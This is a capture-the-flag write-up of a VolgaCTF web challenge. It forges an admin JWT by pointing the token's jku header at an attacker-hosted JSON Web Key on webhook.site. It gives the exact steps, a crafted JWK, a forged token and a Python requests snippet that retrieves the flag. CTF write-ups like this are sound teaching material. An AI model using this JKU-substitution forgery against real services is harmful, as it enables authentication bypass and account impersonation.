Challenge

Login + Register page using JWT, requiring you to for a JWT for the admin user. This is possible, because the JWK can be passed in the JKU attribute.

Solution

  1. Create an account at http://172.105.68.62:8080/ with any credentials, i.e. asdf_

  2. You get a JWT like this: eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjgwODAvc2VjcmV0IiwiZXhwIjoxNjE3NDc2NjA4LCJqdGkiOiJhX0E0RWV2RnNqUXhPVkJrRXlRMVd3IiwiaWF0IjoxNjE2ODcxODA4LCJuYmYiOjE2MTY4NzE2ODgsInN1YiI6ImFzZGZfIn0.uOAlfeZu0HUx9UeJWCsiysjP9hLlih498CSJJRqxSqQ

  3. With https://jwt.io you can decode/modify this to see the contents: Header: { “kid”: “HS256”, “alg”: “HS256” } Payload: { “jku”: “http://localhost:8080/secret”, “exp”: 1617476608, “jti”: “a_A4EevFsjQxOVBkEyQ1Ww”, “iat”: 1616871808, “nbf”: 1616871688, “sub”: “asdf_” }

JWT supports JSON Web Keys (JWK), and if the feature is enabled, the url to the JWK can be passed in the jku-parameter (typically in the head, not in the body). Here this is http://localhost:8080/secret, but it also allows other urls. The kid in the header is just the key-id inside this JWK file.

  1. To check if this allows external sites, we create a https://webhook.site, and modify the jku url inside. This can be done with the https://jwt.io website.

Sidenote: The python jwt lib doesn’t properly sign jwt tokens when proivided with a secret

We find that the site actually receives an request, even though the server responds with an error, as the signature now is wrong.

  1. Now we just have to set up a JWK file on our webhook.site, by clicking the edit button to serve content we want to, i.e. {"kty": "oct", "use": "sig", "kid": "HS256", "alg": "HS256", "k": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}

  2. Then we change the jku to the webhook url and the “sub” to admin and use jwt.io to sign the new request with aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (check: base64 encoded) and we send the request with this token:

  1. We send it with
    import requests
    token = "eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiIgaHR0cHM6Ly93ZWJob29rLnNpdGUvYzllMGZmN2UtM2IwZS00NTQzLTg2ZjMtODQwODFlYTg0NmMyICIsImV4cCI6MTYxNzQ3NjYwOCwianRpIjoiYV9BNEVldkZzalF4T1ZCa0V5UTFXdyIsImlhdCI6MTYxNjg3MTgwOCwibmJmIjoxNjE2ODcxNjg4LCJzdWIiOiJhZG1pbiJ9.JOKw0uNKrF-3mJcVi5iAQ2qzokg4gl_qrUVAVIUARnI"
    requests.get("http://172.105.68.62:8080/say-hi", cookies={"token": token}).text
    

and receive the response Flag is here VolgaCTF{jW5_jku_5u85T1TUt10n} inside some HTML, instead of “You’re a simple user” we typically get.